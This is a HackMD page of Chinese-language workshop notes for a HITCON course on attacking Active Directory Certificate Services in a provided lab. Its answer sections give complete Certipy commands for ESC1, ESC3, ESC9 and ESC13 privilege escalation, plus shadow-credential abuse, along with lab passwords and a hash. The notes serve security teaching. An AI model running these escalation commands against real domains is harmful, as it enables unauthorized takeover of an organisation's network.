JimmySu
    • Create new note
    • Create a note from template
      • Sharing URL Link copied
      • /edit
      • View mode
        • Edit mode
        • View mode
        • Book mode
        • Slide mode
        Edit mode View mode Book mode Slide mode
      • Customize slides
      • Note Permission
      • Read
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Write
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Engagement control Commenting, Suggest edit, Emoji Reply
    • Invite by email
      Invitee

      This note has no invitees

    • Publish Note

      Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

      Your note will be visible on your profile and discoverable by anyone.
      Your note is now live.
      This note is visible on your profile and discoverable online.
      Everyone on the web can find and read all notes of this public team.
      See published notes
      Unpublish note
      Please check the box to agree to the Community Guidelines.
      View profile
    • Commenting
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
      • Everyone
    • Suggest edit
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
    • Emoji Reply
    • Enable
    • Versions and GitHub Sync
    • Note settings
    • Note Insights
    • Engagement control
    • Transfer ownership
    • Delete this note
    • Save as template
    • Insert from template
    • Import from
      • Dropbox
      • Google Drive
      • Gist
      • Clipboard
    • Export to
      • Dropbox
      • Google Drive
      • Gist
    • Download
      • Markdown
      • HTML
      • Raw HTML
Menu Note settings Versions and GitHub Sync Note Insights Sharing URL Create Help
Create Create new note Create a note from template
Menu
Options
Engagement control Transfer ownership Delete this note
Import from
Dropbox Google Drive Gist Clipboard
Export to
Dropbox Google Drive Gist
Download
Markdown HTML Raw HTML
Back
Sharing URL Link copied
/edit
View mode
  • Edit mode
  • View mode
  • Book mode
  • Slide mode
Edit mode View mode Book mode Slide mode
Customize slides
Note Permission
Read
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Write
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Engagement control Commenting, Suggest edit, Emoji Reply
  • Invite by email
    Invitee

    This note has no invitees

  • Publish Note

    Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

    Your note will be visible on your profile and discoverable by anyone.
    Your note is now live.
    This note is visible on your profile and discoverable online.
    Everyone on the web can find and read all notes of this public team.
    See published notes
    Unpublish note
    Please check the box to agree to the Community Guidelines.
    View profile
    Engagement control
    Commenting
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    • Everyone
    Suggest edit
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    Emoji Reply
    Enable
    Import from Dropbox Google Drive Gist Clipboard
       owned this note    owned this note      
    Published Linked with GitHub
    2
    Subscribed
    • Any changes
      Be notified of any changes
    • Mention me
      Be notified of mention me
    • Unsubscribe
    Subscribe
    # HITCON 101 - Pwning AD with AD CS ![image](https://hackmd.io/_uploads/SkFIdNQ5C.png) ::: info **!!! 簡報更新在 Google Drive 了 !!!** - https://drive.google.com/drive/folders/1mLIni2KlOWWTRuCUkNEX3FW4caLIAuDY?usp=sharing 如果有問題也可以加我 Facebook 問 - https://www.facebook.com/jimmysured/ ::: ::: danger ## 注意事項 請學員自行安裝 VMWare Workstation, 建議課程前先把環境都搭建好 並且課程只提供 x86_64 架構 (大部分的 Windows 筆電 + Intel Mac) 能使用的 ovf (因為 Windows Server 沒提供 ARM 架構的 image, 所以我也沒辦法建 QQ) 其餘的架構沒有提供 ovf + 簡報 + SharpHound json: (請放心下載, 我沒加料) - https://drive.google.com/drive/folders/1mLIni2KlOWWTRuCUkNEX3FW4caLIAuDY?usp=sharing 建議學員在自己電腦安裝最新版 BloodHound 並將 Google Drive 提供的 json import 進去 - https://github.com/SpecterOps/BloodHound 議程當天一開始會有約半小時讓大家熟悉環境 + 若想問環境問題可以那時候問 議程步調不會很緊湊, 若沒跟上有很多練習時間可以慢慢熟悉環境以及進行攻擊 ::: :::info ## 系統要求: - 已安裝 VMWare Workstation - 只支援 x86_64 (Intel, amd64 ...) 架構 OS (大部分 Windows 及部分 Ubuntu, Mac OS ...) - RAM 至少 8G - ovf 打開會是是 DC 6GB + wks01 3GB - 可以調低 DC 的 memory 到 3GB + processor 6 (3x2), 會有點卡卡的, 但不會影響操作 - 兩台 VM 大小約 24G, 建議 SSD 剩餘約 60G 的空間 ::: ## Lab Info :::info 請先等 DC 開好再開 wks01, 不然 wks01 會無法連接至 AD ::: - DC's host name - `iamdc` - high privilege user - 可以登入 DC, wks01 - `jlm\administrator` : `P@ssw0rd!` - normal user - 攻擊請都以這個使用者進行攻擊 - 只能登入 wks01 - `jlm\iclient` : `P@ssw0rd!` ### Check if Lab Ready #### DC ```powershell= ! ipconfig net user /domain ``` #### wks01 (Win10) ```powershell= ! ping <DC IP> net user /domain ``` #### wks01 `net user /domain` error - 原因: - 沒連到 AD - 解法: - 將 wks01 IPv4 的 preferred DNS 修改為 DC ip 1. ![image](https://hackmd.io/_uploads/S1g3Md4j0.png) 2. ![image](https://hackmd.io/_uploads/HyJaM_Ns0.png) 3. ![image](https://hackmd.io/_uploads/H1e1XdNjR.png) 4. ![image](https://hackmd.io/_uploads/BJw9M_EiA.png) ## Lab 00 ### Goal 1. Certipy 掃描場域 2. re-issue ESC13 3. (optional) 使用 BloodHound 找攻擊路徑 :::spoiler Answer ### Methodology 1. 就直接掃 xD 2. 下面有詳細如何 re-issue 的過程 3. 將 json input 進去, 可以找 ESC1 - ESC13 的 edge ### Walkthrough 1. Certipy 掃描場域 ```powershell= ./Certipy.exe find -u iclient@JLM.local -password P@ssw0rd! -dc-ip <DC IP> -stdout # 如果嫌 output 太長可以將正常的 template 及 admin group 隱藏起來 ./Certipy.exe find -u iclient@JLM.local -password P@ssw0rd! -dc-ip <DC IP> -vulnerable -hide-admins -stdout ``` 2. re-issue ESC13 - 看情況, 如果大家環境很多問題這個留到最後講 3. (optional) 使用 BloodHound 找攻擊路徑 ```cypher= MATCH p=shortestPath((n)-[:ADCSESC1|ADCSESC3|ADCSESC4|ADCSESC5|ADCSESC6a|ADCSESC6b|ADCSESC7|ADCSESC9a|ADCSESC9b|ADCSESC10a|ADCSESC10b|ADCSESC13*1..]->(m)) WHERE "admin_tier_0" IN split(m.system_tags, ' ') AND n<>m RETURN p LIMIT 1000 ``` - ![image](https://hackmd.io/_uploads/SJ149d4jA.png) ::: ## Lab 01 ### Goal - 找到符合 ESC1 需求的憑證範本, 並使用低權限使用者申請憑證, 做到提權 :::spoiler Answer ### Methodology - 使用低權限使用者 iclient, 透過申請 ESC1 提權為 administrator ### Command ```powershell= .\Certipy.exe req -username iclient@JLM.local -password P@ssw0rd! -ca JLM-IAMDC-CA -target IamDC.JLM.local -template ESC1 -upn administrator@JLM.local # 以下三擇一 # 拿 hash .\Certipy.exe auth -pfx administrator.pfx -dc-ip <DC IP> # 連 ldap, 可以對 ldap 進行屬性修改, 可做到包括 RBCD 等濫用 .\Certipy.exe auth -pfx administrator.pfx -dc-ip <DC IP> -ldap-shell # 直接 pass-the-ticket .\Certipy.exe auth -pfx administrator.pfx -dc-ip <DC IP> -ptt ``` ::: ## Lab 02 ### Goal - 找到符合 ESC3 需求的兩張憑證範本, 並使用低權限使用者申請憑證, 做到提權 :::spoiler Answer ### Methodology - 使用低權限使用者 iclient, 透過申請 ESC3-1 及 ESC3-2 or User 提權為 administrator ### Command ```powershell= .\Certipy.exe req -username iclient@JLM.local -password P@ssw0rd! -ca JLM-IAMDC-CA -target IamDC.JLM.local -template ESC3-1 # 執行其中一個 # option1, 此 template 是我新建的符合濫用條件的 template .\Certipy.exe req -username iclient@JLM.local -password P@ssw0rd! -ca JLM-IAMDC-CA -target IamDC.JLM.local -template ESC3-2 -on-behalf-of 'jlm\administrator' -pfx 'ESC3-1.pfx' # option2, 此 template 是 default template .\Certipy.exe req -username iclient@JLM.local -password P@ssw0rd! -ca JLM-IAMDC-CA -target IamDC.JLM.local -template User -on-behalf-of 'jlm\administrator' -pfx 'ESC3-1.pfx' .\Certipy.exe auth -pfx administrator.pfx -dc-ip <DC IP> ``` ::: ## Lab 03 ### Goal 1. 找到符合 ESC9 需求的憑證範本 2. 對一個低權限使用者做 shadow credential 取得到 hash 3. 使用該低權限使用者來申請憑證, 做到提權 :::spoiler Answer ### Methodology - 先用 certipy 找到符合 ESC9 條件的憑證範本, 並觀察誰可以註冊該憑證範本 - 使用低權限使用者 iclient, 對 ESC9User 做 shadow credential 取得 hash - 接著使用 ESC9User 的 credential 申請 ESC9 提權為 administrator ### Command ```powershell= .\Certipy.exe shadow auto -username iclient@JLM.local -p P@ssw0rd! -account ESC9user .\Certipy.exe account update -username iclient@JLM.local -p P@ssw0rd! -user ESC9user -upn administrator .\Certipy.exe req -username ESC9user@JLM.local -hashes "a4f49c406510bdcab6824ee7c30fd852" -ca JLM-IAMDC-CA -template ESC9 .\Certipy.exe auth -pfx administrator.pfx -dc-ip <DC IP> ``` ::: ## Lab 04 ### Goal - 找到符合 ESC13 需求的憑證範本, 並使用低權限使用者申請憑證, 做到提權 :::spoiler Answer ### Methodology - 透過 BloodHound 找到攻擊路徑 - 若沒有 BloodHound 可以透過 recon OIDContainer 的資訊來判斷是否有憑證範本進行 OID Group Link - 因為神秘因素, BloodHound 不會顯示, 但還是能做攻擊 - 使用低權限使用者 iclient, 透過申請 ESC13 來取得高權限, 有趣的點在於你還是 iclient, 但你的權限等同於 Enterprise Admin ### Command ```powershell= .\Certipy.exe req -username iclient@JLM.local -password P@ssw0rd! -ca JLM IAMDC-CA -target IamDC.JLM.local -template ESC13 .\Certipy.exe auth -pfx iclient.pfx -dc-ip <DC IP> -domain JLM.local ``` ::: ## 補充資料 - BloodHound CE Edge - https://support.bloodhoundenterprise.io/hc/en-us - ESC1 - [ADCSync](https://github.com/JPG0mez/ADCSync) - ESC5 - https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c - https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/ - ESC7 - https://www.tarlogic.com/blog/ad-cs-esc7-attack/ - ESC13 - https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53 - ESC14 - https://posts.specterops.io/adcs-esc14-abuse-technique-333a004dc2b9

    Import from clipboard

    Paste your markdown or webpage here...

    Advanced permission required

    Your current role can only read. Ask the system administrator to acquire write and comment permission.

    This team is disabled

    Sorry, this team is disabled. You can't edit this note.

    This note is locked

    Sorry, only owner can edit this note.

    Reach the limit

    Sorry, you've reached the max length this note can be.
    Please reduce the content or divide it to more notes, thank you!

    Import from Gist

    Import from Snippet

    or

    Export to Snippet

    Are you sure?

    Do you really want to delete this note?
    All users will lose their connection.

    Create a note from template

    Create a note from template

    Oops...
    This template has been removed or transferred.
    Upgrade
    All
    • All
    • Team
    No template.

    Create a template

    Upgrade

    Delete template

    Do you really want to delete this template?
    Turn this template into a regular note and keep its content, versions, and comments.

    This page need refresh

    You have an incompatible client version.
    Refresh to update.
    New version available!
    See releases notes here
    Refresh to enjoy new features.
    Your user state has changed.
    Refresh to load new user state.

    Sign in

    Forgot password

    or

    By clicking below, you agree to our terms of service.

    Sign in via Facebook Sign in via Twitter Sign in via GitHub Sign in via Dropbox Sign in with Wallet
    Wallet ( )
    Connect another wallet

    New to HackMD? Sign up

    Help

    • English
    • 中文
    • Français
    • Deutsch
    • 日本語
    • Español
    • Català
    • Ελληνικά
    • Português
    • italiano
    • Türkçe
    • Русский
    • Nederlands
    • hrvatski jezik
    • język polski
    • Українська
    • हिन्दी
    • svenska
    • Esperanto
    • dansk

    Documents

    Help & Tutorial

    How to use Book mode

    Slide Example

    API Docs

    Edit in VSCode

    Install browser extension

    Contacts

    Feedback

    Discord

    Send us email

    Resources

    Releases

    Pricing

    Blog

    Policy

    Terms

    Privacy

    Cheatsheet

    Syntax Example Reference
    # Header Header 基本排版
    - Unordered List
    • Unordered List
    1. Ordered List
    1. Ordered List
    - [ ] Todo List
    • Todo List
    > Blockquote
    Blockquote
    **Bold font** Bold font
    *Italics font* Italics font
    ~~Strikethrough~~ Strikethrough
    19^th^ 19th
    H~2~O H2O
    ++Inserted text++ Inserted text
    ==Marked text== Marked text
    [link text](https:// "title") Link
    ![image alt](https:// "title") Image
    `Code` Code 在筆記中貼入程式碼
    ```javascript
    var i = 0;
    ```
    var i = 0;
    :smile: :smile: Emoji list
    {%youtube youtube_id %} Externals
    $L^aT_eX$ LaTeX
    :::info
    This is a alert area.
    :::

    This is a alert area.

    Versions and GitHub Sync
    Get Full History Access

    • Edit version name
    • Delete

    revision author avatar     named on  

    More Less

    Note content is identical to the latest version.
    Compare
      Choose a version
      No search result
      Version not found
    Sign in to link this note to GitHub
    Learn more
    This note is not linked with GitHub
     

    Feedback

    Submission failed, please try again

    Thanks for your support.

    On a scale of 0-10, how likely is it that you would recommend HackMD to your friends, family or business associates?

    Please give us some advice and help us improve HackMD.

     

    Thanks for your feedback

    Remove version name

    Do you want to remove this version name and description?

    Transfer ownership

    Transfer to
      Warning: is a public team. If you transfer note to this team, everyone on the web can find and read this note.

        Link with GitHub

        Please authorize HackMD on GitHub
        • Please sign in to GitHub and install the HackMD app on your GitHub repo.
        • HackMD links with GitHub through a GitHub App. You can choose which repo to install our App.
        Learn more  Sign in to GitHub

        Push the note to GitHub Push to GitHub Pull a file from GitHub

          Authorize again
         

        Choose which file to push to

        Select repo
        Refresh Authorize more repos
        Select branch
        Select file
        Select branch
        Choose version(s) to push
        • Save a new version and push
        • Choose from existing versions
        Include title and tags
        Available push count

        Pull from GitHub

         
        File from GitHub
        File from HackMD

        GitHub Link Settings

        File linked

        Linked by
        File path
        Last synced branch
        Available push count

        Danger Zone

        Unlink
        You will no longer receive notification when GitHub file changes after unlink.

        Syncing

        Push failed

        Push successfully